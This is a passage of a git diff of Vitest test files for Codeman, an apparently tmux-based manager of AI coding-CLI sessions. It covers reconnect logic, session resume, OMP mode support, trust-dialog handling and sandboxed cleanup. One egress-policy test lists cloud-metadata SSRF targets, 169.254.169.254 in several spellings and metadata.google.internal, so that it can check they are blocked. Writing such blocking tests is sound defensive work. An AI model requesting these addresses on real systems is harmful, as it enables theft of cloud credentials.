}> = []; manager.on('remoteSessionDropped', (d) => dropped.push(d)); @@ -284,12 +344,48 @@ describe('TmuxManager remote reconnect watcher (integration)', () => { expect(dropped).toEqual([]); }); + it('forgets the cached liveness once the pane is alive again, so a later dead pane is probed afresh', async () => { + registerRemote('ffff6666'); + const cache = (manager as unknown as { remoteAliveCache: Map }).remoteAliveCache; + // A clean exit was observed earlier (remote gone) ... + cache.set('ffff6666', false); + // ... then the user restarted the session by hand: the pane is alive. + const paneDead = vi.spyOn(manager, 'isPaneDead').mockReturnValue(false); + manager.runRemoteReconnectTick(0, true); + expect(cache.has('ffff6666')).toBe(false); + + // Now a transport drop. The first dead-pane tick only fires the probe + // (stubbed alive under VITEST); the tick after it sees the fresh answer. + paneDead.mockReturnValue(true); + const dropped: unknown[] = []; + manager.on('remoteSessionDropped', (d) => dropped.push(d)); + manager.runRemoteReconnectTick(1000, true); + expect(dropped).toEqual([]); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(cache.get('ffff6666')).toBe(true); + manager.runRemoteReconnectTick(2000, true); + expect(dropped).toEqual([{ sessionId: 'ffff6666', attempt: 1 }]); + }); + + it('never revives from a stale "alive" answer after the pane came back: a later clean exit re-probes', () => { + registerRemote('abab7777'); + const cache = (manager as unknown as { remoteAliveCache: Map }).remoteAliveCache; + cache.set('abab7777', true); // learned during a transport drop + vi.spyOn(manager, 'isPaneDead').mockReturnValue(false); // reattach succeeded + manager.runRemoteReconnectTick(0, true); + expect(cache.has('abab7777')).toBe(false); + }); + it('clears per-session reconnect/guard state when the session is removed', () => { registerRemote('eeee5555'); manager.guardRemoteReconnect('eeee5555'); manager.clearRemoteReconnectState('eeee5555'); // After clearing the guard, a fresh dead-pane observation should emit again. vi.spyOn(manager, 'isPaneDead').mockReturnValue(true); + (manager as unknown as { remoteAliveCache: Map }).remoteAliveCache.set( + 'eeee5555', + true + ); const dropped: unknown[] = []; manager.on('remoteSessionDropped', (d) => dropped.push(d)); manager.runRemoteReconnectTick(0, true); diff --git a/test/render-index-html.test.ts b/test/render-index-html.test.ts index 21c5f8a3..1d103508 100644 --- a/test/render-index-html.test.ts +++ b/test/render-index-html.test.ts @@ -20,6 +20,7 @@ import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js import { isPiAvailable } from '../src/utils/pi-cli-resolver.js'; import { isGrokAvailable } from '../src/utils/grok-cli-resolver.js'; import { isDeepSeekAvailable, isDeepSeekRunnable } from '../src/utils/deepseek-cli-resolver.js'; +import { isOmpAvailable } from '../src/utils/omp-cli-resolver.js'; import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js'; import { isGitAvailable } from '../src/git-clone.js'; @@ -66,6 +67,10 @@ vi.mock('../src/utils/deepseek-cli-resolver.js', () => ({ listDeepSeekProfiles: vi.fn(() => []), resolveDefaultDeepSeekProfile: vi.fn(() => null), })); +vi.mock('../src/utils/omp-cli-resolver.js', () => ({ + isOmpAvailable: vi.fn(() => false), + resolveOmpDir: vi.fn(() => null), +})); vi.mock('../src/utils/cloudflared-resolver.js', () => ({ isCloudflaredAvailable: vi.fn(() => false), resolveCloudflaredPath: vi.fn(() => null), @@ -156,6 +161,9 @@ describe('WebServer.renderIndexHtml', () => { vi.mocked(isAntigravityAvailable).mockReturnValue(false); vi.mocked(isPiAvailable).mockReturnValue(true); vi.mocked(isGrokAvailable).mockReturnValue(false); + vi.mocked(isDeepSeekAvailable).mockReturnValue(false); + vi.mocked(isDeepSeekRunnable).mockReturnValue(false); + vi.mocked(isOmpAvailable).mockReturnValue(true); vi.mocked(isCloudflaredAvailable).mockReturnValue(true); vi.mocked(isGitAvailable).mockReturnValue(true); const { server } = makeServer({}); @@ -173,6 +181,7 @@ describe('WebServer.renderIndexHtml', () => { grok: false, deepseek: false, deepseekBinary: false, + omp: true, cloudflared: true, git: true, }); @@ -191,6 +200,7 @@ describe('WebServer.renderIndexHtml', () => { isGrokAvailable, isDeepSeekAvailable, isDeepSeekRunnable, + isOmpAvailable, isCloudflaredAvailable, isGitAvailable, ]) { diff --git a/test/resume-history-mode-fidelity.test.ts b/test/resume-history-mode-fidelity.test.ts new file mode 100644 index 00000000..85619ae4 --- /dev/null +++ b/test/resume-history-mode-fidelity.test.ts @@ -0,0 +1,143 @@ +/** + * @fileoverview Upstream review fix (Ark0N/Codeman#353, PR #3): resumeHistorySession() + * threads the row's own mode through session creation via a `modeConfigKey` map + * (opencode/pi/grok/omp → `continueSession: true`), then retires the old row via + * DELETE. codex/gemini/antigravity were missing from that map, so resuming one of + * their rows created a session with NO continuation while still deleting the row + * it came from — data loss dressed as a fix. The correction: only retire the row + * when the new session actually continues something. + * + * Loaded via `vm` against a stub CodemanApp, same harness as resume-name.test.ts. + * `fetch` is a shared mutable stub so each test can inspect exactly which requests + * fired without a real network/server. + */ + +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import vm from 'node:vm'; +import { describe, expect, it, vi, beforeEach } from 'vitest'; + +/* eslint-disable @typescript-eslint/no-explicit-any */ + +/** The fetch the vm's shipping code calls; swapped per test (see beforeEach). */ +let currentFetch: (...args: unknown[]) => unknown = () => { + throw new Error('fetch not stubbed for this test'); +}; + +function loadTerminalUiPrototype(): Record unknown> { + const source = readFileSync(resolve(import.meta.dirname, '../src/web/public/terminal-ui.js'), 'utf8'); + const context = vm.createContext({ + console, + CodemanApp: class CodemanApp {}, + setInterval: vi.fn(), + clearInterval: vi.fn(), + setTimeout, + clearTimeout, + requestAnimationFrame: vi.fn(), + document: { addEventListener: vi.fn(), getElementById: vi.fn(() => null) }, + window: { addEventListener: vi.fn(), removeEventListener: vi.fn() }, + fetch: (...args: unknown[]) => currentFetch(...args), + }); + vm.runInContext(`${source}\nglobalThis.__proto = CodemanApp.prototype;`, context); + return (context as { __proto: Record unknown> }).__proto; +} + +const proto = loadTerminalUiPrototype(); + +function makeApp() { + return { + terminal: { clear: vi.fn(), writeln: vi.fn(), focus: vi.fn() }, + cases: [], + resumeHistorySession: proto.resumeHistorySession as (...args: unknown[]) => Promise, + _closeFolderHistoryModal: vi.fn(), + _resolveResumeName: () => 'w1-case', + loadAppSettingsFromStorage: () => ({}), + getCaseSettings: () => ({}), + buildEnvOverrides: () => ({}), + getEffortSetting: () => undefined, + selectSession: vi.fn(async () => {}), + }; +} + +/** DELETE calls the fetch mock recorded. */ +function deleteCalls(fetchMock: ReturnType): string[] { + return fetchMock.mock.calls + .filter(([, opts]: [string, { method?: string }]) => opts?.method === 'DELETE') + .map(([url]: [string]) => url); +} + +/** POST /api/sessions body the fetch mock recorded. */ +function createBody(fetchMock: ReturnType): any { + const call = fetchMock.mock.calls.find(([url]: [string]) => url === '/api/sessions'); + return call ? JSON.parse((call[1] as { body: string }).body) : undefined; +} + +function stubFetch(newSessionId: string): ReturnType { + const fetchMock = vi.fn(async (url: string) => { + if (url === '/api/sessions') { + return { json: async () => ({ success: true, data: { session: { id: newSessionId } } }) }; + } + return { json: async () => ({ success: true }) }; + }); + currentFetch = fetchMock; + return fetchMock; +} + +describe('resumeHistorySession: row retirement is gated on actual continuation', () => { + let fetchMock: ReturnType; + + beforeEach(() => { + fetchMock = stubFetch('new-session-id'); + }); + + it.each(['codex', 'gemini', 'antigravity'])( + 'does NOT retire the old row for %s (no continuation is wired for it)', + async (mode) => { + const app = makeApp(); + await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', mode); + + expect(createBody(fetchMock)).toMatchObject({ mode }); + expect(createBody(fetchMock).codexConfig).toBeUndefined(); + expect(createBody(fetchMock).geminiConfig).toBeUndefined(); + expect(createBody(fetchMock).antigravityConfig).toBeUndefined(); + expect(deleteCalls(fetchMock)).toEqual([]); + } + ); + + it.each([ + ['opencode', 'openCodeConfig'], + ['pi', 'piConfig'], + ['grok', 'grokConfig'], + ['omp', 'ompConfig'], + ])('retires the old row for %s (continueSession is wired via %s)', async (mode, configKey) => { + const app = makeApp(); + await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', mode); + + expect(createBody(fetchMock)[configKey]).toEqual({ continueSession: true }); + expect(deleteCalls(fetchMock)).toEqual(['/api/sessions/old-id?killMux=true']); + }); + + it('retires the old row for deepseek (resumeSession is wired)', async () => { + const app = makeApp(); + await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', 'deepseek'); + + expect(createBody(fetchMock).deepSeekConfig).toEqual({ resumeSession: true }); + expect(deleteCalls(fetchMock)).toEqual(['/api/sessions/old-id?killMux=true']); + }); + + it('never retires a claude row (resumeSessionId is a claudeSessionId, not a Codeman row id)', async () => { + const app = makeApp(); + await app.resumeHistorySession.call(app, 'claude-uuid', '/repo', 'w1-repo', 'claude'); + + expect(createBody(fetchMock)).toMatchObject({ mode: 'claude', resumeSessionId: 'claude-uuid' }); + expect(deleteCalls(fetchMock)).toEqual([]); + }); + + it('never retires when the new session id equals the old one (no-op resume)', async () => { + fetchMock = stubFetch('same-id'); + const app = makeApp(); + await app.resumeHistorySession.call(app, 'same-id', '/repo', 'w1-repo', 'omp'); + + expect(deleteCalls(fetchMock)).toEqual([]); + }); +}); diff --git a/test/routes/case-clone-routes.test.ts b/test/routes/case-clone-routes.test.ts index 6cb7e7a8..ab0c3414 100644 --- a/test/routes/case-clone-routes.test.ts +++ b/test/routes/case-clone-routes.test.ts @@ -9,8 +9,10 @@ * working tree in the case directory, that scaffolding does not overwrite the * repository's own files, and that a rejected URL never reaches git. * - * `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves - * inside the fixture and nothing touches the developer's real ~/codeman-cases. + * `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR + * (`join(homedir(), 'codeman-cases')`) resolves inside the fixture; cleanup + * below still goes through `safeRmHomeTree`, which refuses to delete anything + * outside the temp HOME, so a wrong anchor can never reach the real tree. * * Port: N/A (app.inject). */ @@ -31,7 +33,7 @@ import { } from 'node:fs'; import { homedir, tmpdir } from 'node:os'; import { join } from 'node:path'; -import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js'; +import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js'; import { installRouteErrorHandler } from '../../src/web/route-error-handler.js'; import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js'; import { registerCaseRoutes } from '../../src/web/routes/case-routes.js'; @@ -147,7 +149,7 @@ describe('POST /api/cases/clone — input rejection', () => { expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS)); expect(JSON.parse(res.body).error).toMatch(/already exists/i); } finally { - rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true }); + safeRmHomeTree(join(CASES_DIR, 'taken')); } }); }); @@ -217,7 +219,7 @@ describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => { afterAll(() => { rmSync(root, { recursive: true, force: true }); - for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true }); + for (const name of created) safeRmHomeTree(join(CASES_DIR, name)); }); beforeEach(buildApp); diff --git a/test/routes/session-routes-workspace-hooks.test.ts b/test/routes/session-routes-workspace-hooks.test.ts index c6038aae..82c55820 100644 --- a/test/routes/session-routes-workspace-hooks.test.ts +++ b/test/routes/session-routes-workspace-hooks.test.ts @@ -26,12 +26,13 @@ import { mkdtemp, rm, readFile, mkdir, writeFile } from 'node:fs/promises'; import { existsSync } from 'node:fs'; import { join } from 'node:path'; import { tmpdir } from 'node:os'; -import { createMockRouteContext } from '../mocks/index.js'; +import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js'; import { installRouteErrorHandler } from '../../src/web/route-error-handler.js'; import { registerSessionRoutes } from '../../src/web/routes/session-routes.js'; import { generateHooksConfig, applyWorkspaceHooks } from '../../src/hooks-config.js'; import { getDataDir } from '../../src/config/instance.js'; import { CASES_DIR } from '../../src/web/route-helpers.js'; +import { Session } from '../../src/session.js'; interface HooksFile { hooks?: Record }>>; @@ -167,6 +168,17 @@ describe('POST /api/sessions workspace hooks', () => { // `user@host:session` — locally a RELATIVE path, so a mkdir would create it // as a junk directory under the server cwd. statusLineTelemetry rides along: // applyStatusLineConfig mkdirs the same way and used to run for remote attaches. + // SAFETY (2026-08-29): write straight to `getDataDir()` — `test/setup.ts` + // already sandboxes the data dir for the whole file (temp HOME, inherited + // CODEMAN_DATA_DIR stripped; same convention as the docker-hosts fixtures + // below). A prior version of this test stubbed + // CODEMAN_DATA_DIR to a SEPARATE throwaway dir for just this write, but + // `session-routes.ts`'s `CODEMAN_CONFIG_DIR` is a module-load-time constant + // (frozen at the sandboxed dir before this test ever runs), so that fixture + // landed somewhere the route handler could never read it — the remote host + // lookup silently failed and the test passed for the wrong reason (Fastify + // defaults an unset reply code to 200, so the NOT_FOUND branch and the + // intended success branch were indistinguishable by status code alone). await mkdir(getDataDir(), { recursive: true }); await writeFile( join(getDataDir(), 'remote-hosts.json'), @@ -223,6 +235,7 @@ describe('POST /api/sessions workspace hooks', () => { describe('POST /api/quick-start workspace hooks', () => { let app: FastifyInstance; + let ctx: MockRouteContext; const quickStart = (payload: Record) => app.inject({ method: 'POST', url: '/api/quick-start', payload }); @@ -230,19 +243,27 @@ describe('POST /api/quick-start workspace hooks', () => { const hooksFileIn = (dir: string) => join(dir, '.claude', 'settings.local.json'); beforeEach(async () => { + vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined); + vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined); app = Fastify({ logger: false }); await app.register(fastifyCookie); - registerSessionRoutes(app, createMockRouteContext()); + ctx = createMockRouteContext(); + registerSessionRoutes(app, ctx); installRouteErrorHandler(app); await app.ready(); }); afterEach(async () => { await app.close(); + vi.restoreAllMocks(); // Docker fixtures + case dirs must not leak into the next test. await rm(join(getDataDir(), 'docker-hosts.json'), { force: true }); await rm(join(getDataDir(), 'docker-cases.json'), { force: true }); - await rm(CASES_DIR, { recursive: true, force: true }); + // SAFETY (2026-08-29): CASES_DIR is `join(homedir(), 'codeman-cases')`, and + // on environments where `os.homedir()` ignores `$HOME` it resolves to the + // PROD case tree. `safeRmHomeTree` refuses to delete anything not under the + // redirected test HOME, so a run can never nuke the real `~/codeman-cases`. + safeRmHomeTree(CASES_DIR); }); it('installs hooks into an EXISTING case directory (a linked case / cloned repo)', async () => { @@ -260,7 +281,7 @@ describe('POST /api/quick-start workspace hooks', () => { }); /** Minimal docker host + case fixtures (docker IO is no-op'd under vitest). */ - const writeDockerFixtures = async (caseName: string, hostWorkspacePath: string) => { + const writeDockerFixtures = async (caseName: string, hostWorkspacePath: string, lastClaudeSessionId?: string) => { await mkdir(getDataDir(), { recursive: true }); await writeFile( join(getDataDir(), 'docker-hosts.json'), @@ -268,7 +289,7 @@ describe('POST /api/quick-start workspace hooks', () => { ); await writeFile( join(getDataDir(), 'docker-cases.json'), - JSON.stringify([{ name: caseName, type: 'docker', hostId: 'd1', hostWorkspacePath }]) + JSON.stringify([{ name: caseName, type: 'docker', hostId: 'd1', hostWorkspacePath, lastClaudeSessionId }]) ); }; @@ -300,6 +321,35 @@ describe('POST /api/quick-start workspace hooks', () => { await rm(ws, { recursive: true, force: true }); } }); + + it.each(['codex', 'gemini'] as const)('does not pass a saved Claude conversation id to Docker %s', async (mode) => { + const ws = await mkdtemp(join(tmpdir(), `codeman-docker-${mode}-`)); + try { + await writeDockerFixtures('dockexternal', ws, 'e83a9063-3cb4-44d2-a9a0-df153b81721f'); + + const res = await quickStart({ caseName: 'dockexternal', mode }); + expect(res.statusCode).toBe(200); + const session = ctx.sessions.get(JSON.parse(res.body).sessionId); + expect(session?.toState().resumeSessionId).toBeUndefined(); + } finally { + await rm(ws, { recursive: true, force: true }); + } + }); + + it('passes a saved Claude conversation id only to Docker Claude', async () => { + const ws = await mkdtemp(join(tmpdir(), 'codeman-docker-resume-')); + const resumeId = 'e83a9063-3cb4-44d2-a9a0-df153b81721f'; + try { + await writeDockerFixtures('dockresume', ws, resumeId); + + const res = await quickStart({ caseName: 'dockresume', mode: 'claude' }); + expect(res.statusCode).toBe(200); + const session = ctx.sessions.get(JSON.parse(res.body).sessionId); + expect(session?.toState().resumeSessionId).toBe(resumeId); + } finally { + await rm(ws, { recursive: true, force: true }); + } + }); }); describe('applyWorkspaceHooks (the shared decision core in hooks-config)', () => { diff --git a/test/routes/session-routes.test.ts b/test/routes/session-routes.test.ts index dbe8efa2..839786ad 100644 --- a/test/routes/session-routes.test.ts +++ b/test/routes/session-routes.test.ts @@ -341,6 +341,36 @@ describe('session-routes', () => { const body = JSON.parse(res.body); expect(body.success).toBe(false); }); + + it('removes a persisted-only session (not live) via the state store, without touching cleanupSession', async () => { + vi.mocked(harness.ctx.store.getSession).mockReturnValueOnce({ + id: 'ghost-session', + owner: undefined, + } as never); + const res = await harness.app.inject({ + method: 'DELETE', + url: '/api/sessions/ghost-session', + }); + expect(res.statusCode).toBe(200); + const body = JSON.parse(res.body); + expect(body.success).toBe(true); + expect(harness.ctx.store.demoteOrRemoveSession).toHaveBeenCalledWith('ghost-session'); + expect(harness.ctx.cleanupSession).not.toHaveBeenCalled(); + // Ark0N/Codeman#353 review: the persisted-only branch used to demote/remove + // with no broadcast, so other open tabs kept showing the retired row until + // their next unrelated fetch. + expect(harness.ctx.broadcast).toHaveBeenCalledWith('session:deleted', { id: 'ghost-session' }); + }); + + it('404s a persisted-only session id the state store does not recognize either', async () => { + vi.mocked(harness.ctx.store.getSession).mockReturnValueOnce(null); + const res = await harness.app.inject({ + method: 'DELETE', + url: '/api/sessions/truly-nonexistent', + }); + expect(res.statusCode).toBe(404); + expect(harness.ctx.store.demoteOrRemoveSession).not.toHaveBeenCalled(); + }); }); // ========== DELETE /api/sessions (delete all) ========== diff --git a/test/routes/voice-routes.test.ts b/test/routes/voice-routes.test.ts index d29c2a5a..d1cd8886 100644 --- a/test/routes/voice-routes.test.ts +++ b/test/routes/voice-routes.test.ts @@ -19,12 +19,34 @@ import Fastify, { type FastifyInstance } from 'fastify'; import fastifyWebsocket from '@fastify/websocket'; import WebSocket, { WebSocketServer } from 'ws'; import { mkdirSync, writeFileSync, rmSync } from 'node:fs'; -import { homedir } from 'node:os'; import { join } from 'node:path'; import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js'; import { registerVoiceRoutes, _resetVoiceStreamCountForTesting } from '../../src/web/routes/voice-routes.js'; import { MAX_CONCURRENT_STREAMS } from '../../src/config/voice.js'; +// SAFETY (2026-08-29): anchor on the REDIRECTED test HOME (process.env.HOME, +// which test/setup.ts points at a throwaway dir). `os.homedir()` follows it too, +// but this file writes and deletes `~/.claude/.credentials.json`, the one file +// where a wrong anchor would sign the developer out of their own CLI, so it +// fails loudly if setup.ts did not run rather than trusting any fallback. +function testHome(): string { + if (!process.env.HOME) throw new Error('process.env.HOME unset — test/setup.ts must run first'); + return process.env.HOME; +} + +function writeCredentials(expiresAt: number | undefined): void { + const dir = join(testHome(), '.claude'); + mkdirSync(dir, { recursive: true }); + writeFileSync( + join(dir, '.credentials.json'), + JSON.stringify({ claudeAiOauth: { accessToken: TOKEN, expiresAt, subscriptionType: 'max' } }) + ); +} + +function removeCredentials(): void { + rmSync(join(testHome(), '.claude', '.credentials.json'), { force: true }); +} + const PORT = 3230; const UPSTREAM_PORT = 3231; const TOKEN = 'sk-ant-oat01-voice-route-test'; @@ -38,19 +60,6 @@ interface UpstreamCapture { socket: WebSocket | null; } -function writeCredentials(expiresAt: number | undefined): void { - const dir = join(homedir(), '.claude'); - mkdirSync(dir, { recursive: true }); - writeFileSync( - join(dir, '.credentials.json'), - JSON.stringify({ claudeAiOauth: { accessToken: TOKEN, expiresAt, subscriptionType: 'max' } }) - ); -} - -function removeCredentials(): void { - rmSync(join(homedir(), '.claude', '.credentials.json'), { force: true }); -} - function waitForClose(ws: WebSocket, timeoutMs = 3000): Promise<{ code: number; reason: string }> { return new Promise((resolve, reject) => { const timer = setTimeout(() => reject(new Error('WS close timeout')), timeoutMs); diff --git a/test/routes/webview-routes.test.ts b/test/routes/webview-routes.test.ts index 490155d2..7e0f7b05 100644 --- a/test/routes/webview-routes.test.ts +++ b/test/routes/webview-routes.test.ts @@ -16,6 +16,7 @@ import { registerWebviewRoutes } from '../../src/web/routes/webview-routes.js'; import { installRouteErrorHandler } from '../../src/web/route-error-handler.js'; import { webviewCapabilities } from '../../src/webview-capabilities.js'; import { capabilityFromProxyPath } from '../../src/web/webview-proxy.js'; +import { writeWebviews } from '../../src/webview-store.js'; import { TabLayoutService } from '../../src/tab-layout-service.js'; import type { TabLayout } from '../../src/tab-layout.js'; @@ -286,3 +287,59 @@ describe('POST /api/webviews/probe', () => { expect(res.statusCode).toBe(400); }); }); + +describe('egress policy: link-local and cloud-metadata targets', () => { + it('refuses to SAVE a metadata address, in every spelling, with a message that says why', async () => { + for (const url of [ + 'http://169.254.169.254/latest/meta-data/', + 'http://2852039166/', // decimal form of 169.254.169.254 + 'http://[fd00:ec2::254]/', + 'http://metadata.google.internal/computeMetadata/v1/', + ]) { + const res = await create({ name: 'IMDS', url }); + expect(res.statusCode, url).toBe(400); + expect(res.body, url).toMatch(/Blocked URL/); + } + }); + + it('still saves the loopback dashboards the feature exists for', async () => { + expect((await create({ name: 'Grafana', url: 'http://127.0.0.1:4000/' })).statusCode).toBe(200); + expect((await create({ name: 'Local', url: 'http://localhost:3080/' })).statusCode).toBe(200); + }); + + it('the probe refuses the same targets up front, before any connection is attempted', async () => { + const res = await app.inject({ + method: 'POST', + url: '/api/webviews/probe', + payload: { url: 'http://169.254.169.254/' }, + }); + expect(res.statusCode).toBe(400); + expect(res.body).toMatch(/Blocked URL/); + }); + + it('the proxy refuses a record saved before the rule existed with a 403, never a relay', async () => { + // Written straight to the store: the schema would refuse it today, which is + // exactly why the proxy must judge the target again at connect time. + await writeWebviews(tmpDir, [ + { + id: 'legacy-imds', + name: 'legacy', + url: 'http://169.254.169.254/', + embedMode: 'proxy', + trusted: false, + createdAt: Date.now(), + }, + ]); + const cap = webviewCapabilities.mint('legacy-imds', undefined); + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + try { + const res = await app.inject({ method: 'GET', url: `/webview/${cap}/latest/meta-data/` }); + expect(res.statusCode).toBe(403); + expect(res.body).toMatch(/link-local or cloud-metadata/); + expect(warn).toHaveBeenCalledWith(expect.stringContaining('refused by egress policy')); + } finally { + warn.mockRestore(); + webviewCapabilities.revokeWebview('legacy-imds'); + } + }); +}); diff --git a/test/run-mode-ui.test.ts b/test/run-mode-ui.test.ts index 50103ed5..731cfdb2 100644 --- a/test/run-mode-ui.test.ts +++ b/test/run-mode-ui.test.ts @@ -81,6 +81,16 @@ describe('run mode UI', () => { expect(app.runMode).toBe('antigravity'); expect(runBtnLabel.textContent).toBe('Run AG'); }); + + it('accepts OMP mode from server sync and updates the run button label', async () => { + const { app, storage, runBtnLabel } = loadRunModeHarness(); + + storage.set('codeman_runMode', 'claude'); + await app.loadAppSettingsFromServer(Promise.resolve({ runMode: 'omp' })); + + expect(app.runMode).toBe('omp'); + expect(runBtnLabel.textContent).toBe('Run OMP'); + }); }); describe('Run launch synchronization', () => { @@ -367,12 +377,13 @@ describe('Codex quick start settings', () => { 'welcomeGeminiBtn', 'welcomePiBtn', 'welcomeGrokBtn', + 'welcomeOmpBtn', 'welcomeTunnelBtn', ]) { welcomeBtns[id] = { style: { display: 'PRISTINE' } }; } const modeBtns: Record = {}; - for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'shell']) { + for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'omp', 'shell']) { modeBtns[mode] = { style: { display: 'PRISTINE' } }; } const menu = { @@ -405,6 +416,7 @@ describe('Codex quick start settings', () => { antigravity: false, pi: false, grok: false, + omp: false, cloudflared: false, }; @@ -442,16 +454,23 @@ describe('Codex quick start settings', () => { withAgy.app.applyWelcomeCliVisibility(); expect(withAgy.welcomeBtns.welcomeAntigravityBtn.style.display).toBe('flex'); expect(withAgy.welcomeBtns.welcomeClaudeBtn.style.display).toBe('none'); + + // OMP is a first-class welcome action, gated on `omp` like the rest. + const withOmp = loadUi({ ...ALL_OFF, omp: true }); + withOmp.app.applyWelcomeCliVisibility(); + expect(withOmp.welcomeBtns.welcomeOmpBtn.style.display).toBe('flex'); + expect(withOmp.welcomeBtns.welcomeClaudeBtn.style.display).toBe('none'); }); it('gates every run mode in the dropdown, antigravity included, and never shell', () => { - const { app, modeBtns, menu } = loadUi({ ...ALL_OFF, claude: true, antigravity: true }); + const { app, modeBtns, menu } = loadUi({ ...ALL_OFF, claude: true, antigravity: true, omp: true }); app._refreshRunModeAvailability(menu); expect(modeBtns.claude.style.display).toBe('flex'); expect(modeBtns.antigravity.style.display).toBe('flex'); expect(modeBtns.opencode.style.display).toBe('none'); expect(modeBtns.codex.style.display).toBe('none'); expect(modeBtns.gemini.style.display).toBe('none'); + expect(modeBtns.omp.style.display).toBe('flex'); // Shell needs no external CLI, and leaving it alone is what guarantees the // menu is never empty on a box with nothing installed. expect(modeBtns.shell.style.display).toBe('PRISTINE'); @@ -468,6 +487,7 @@ describe('Codex quick start settings', () => { expect(offered).toContain('antigravity'); expect(offered).toContain('pi'); expect(offered).toContain('grok'); + expect(offered).toContain('omp'); const src = readFileSync(resolve(import.meta.dirname, '../src/web/public/session-ui.js'), 'utf8'); // Anchor on the DEFINITION, not the earlier call site in toggleRunModeMenu. const fn = src.slice(src.indexOf('_refreshRunModeAvailability(menu) {')); diff --git a/test/session-cleanup.test.ts b/test/session-cleanup.test.ts index 73e40c06..e7676729 100644 --- a/test/session-cleanup.test.ts +++ b/test/session-cleanup.test.ts @@ -1,8 +1,9 @@ import { describe, it, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; import { WebServer } from '../src/web/server.js'; -import { existsSync, mkdtempSync, rmSync } from 'node:fs'; +import { mkdtempSync, rmSync } from 'node:fs'; import { join } from 'node:path'; import { homedir, tmpdir } from 'node:os'; +import { safeRmHomeTree } from './mocks/index.js'; const TEST_PORT = 3120; const CASES_DIR = join(homedir(), 'codeman-cases'); @@ -27,13 +28,9 @@ describe('Session Cleanup', () => { }); afterEach(() => { - // Clean up cases created during this test + // Clean up cases created during this test (containment-gated). while (createdCases.length > 0) { - const caseName = createdCases.pop()!; - const casePath = join(CASES_DIR, caseName); - if (existsSync(casePath)) { - rmSync(casePath, { recursive: true, force: true }); - } + safeRmHomeTree(join(CASES_DIR, createdCases.pop()!)); } }); @@ -228,10 +225,7 @@ describe('Resource Management', () => { afterAll(async () => { for (const caseName of createdCases) { - const casePath = join(CASES_DIR, caseName); - if (existsSync(casePath)) { - rmSync(casePath, { recursive: true, force: true }); - } + safeRmHomeTree(join(CASES_DIR, caseName)); } await server.stop(); }, 60000); diff --git a/test/session-trust-dialog.test.ts b/test/session-trust-dialog.test.ts index 5b45a4e2..7aaa50a3 100644 --- a/test/session-trust-dialog.test.ts +++ b/test/session-trust-dialog.test.ts @@ -8,10 +8,23 @@ * * RAW_DIALOG_CHUNK below is a verbatim slice of the PTY stream from a live * session parked on that dialog (Claude Code 2.1.220). + * + * The second bug this pins: Claude Code 2.1.252 dropped the option numbers, put + * "No, exit" first and highlights IT, so the blind Enter that answered the old + * layout selects *exit* and the pane dies seconds after the session starts. + * RENDERED_DIALOG_2_1_252 is a verbatim `capture-pane -p` of that screen. */ import { describe, expect, it, vi, afterEach } from 'vitest'; import { Session } from '../src/session.js'; -import { isTrustDialogScreen, compactScreenText, TRUST_DIALOG_MAX_ATTEMPTS } from '../src/session-trust-dialog.js'; +import { + isTrustDialogScreen, + compactScreenText, + trustDialogNextKey, + TRUST_KEY_CONFIRM, + TRUST_KEY_DOWN, + TRUST_KEY_UP, + TRUST_DIALOG_MAX_ATTEMPTS, +} from '../src/session-trust-dialog.js'; /** Verbatim from the wire: note the `\x1b[C` where every space should be. */ const RAW_DIALOG_CHUNK = @@ -29,6 +42,25 @@ const RENDERED_DIALOG = [ ' Enter to confirm · Esc to cancel', ].join('\n'); +/** + * Verbatim `capture-pane -p` from Claude Code 2.1.252 on a fresh case: no + * numbers, the options reversed, and the cursor parked on the one that quits. + */ +const RENDERED_DIALOG_2_1_252 = [ + ' Accessing workspace:', + ' /home/arkon/codeman-cases/trustprobe1', + ' Quick safety check: Is this a project you created or one you trust? (Like your own code, a well-known open source', + " project, or work from your team). If not, take a moment to review what's in this folder first.", + " Claude Code'll be able to read, edit, and execute files here.", + ' Security guide', + ' ❯ No, exit', + ' Yes, I trust this folder', + ' Enter to confirm · Esc to cancel', +].join('\n'); + +/** The same screen after one arrow press: the cursor has moved onto "yes". */ +const RENDERED_DIALOG_2_1_252_ON_YES = RENDERED_DIALOG_2_1_252.replace(' ❯ No, exit\n Yes,', ' No, exit\n ❯ Yes,'); + /** An ordinary working session: no dialog anywhere. */ const RENDERED_MAIN_UI = [ '✻ Actualizing… (13m 23s · ↓ 47.5k tokens)', @@ -61,12 +93,54 @@ describe('isTrustDialogScreen', () => { expect(isTrustDialogScreen('press Enter to confirm the release')).toBe(false); }); + it('sees the 2.1.252 dialog, whose options lost their numbers', () => { + // '2.no,exit' is gone from this layout, so the confirm affordance is now the + // only thing carrying the match. + expect(isTrustDialogScreen(RENDERED_DIALOG_2_1_252)).toBe(true); + }); + it('compacts away both real spaces and the escapes tmux sends instead', () => { expect(compactScreenText('I\x1b[Ctrust\x1b[Cthis\x1b[Cfolder')).toBe('itrustthisfolder'); expect(compactScreenText('I trust this folder')).toBe('itrustthisfolder'); }); }); +describe('trustDialogNextKey', () => { + it('confirms straight away when the trust option is already highlighted', () => { + expect(trustDialogNextKey(RENDERED_DIALOG)).toBe(TRUST_KEY_CONFIRM); + 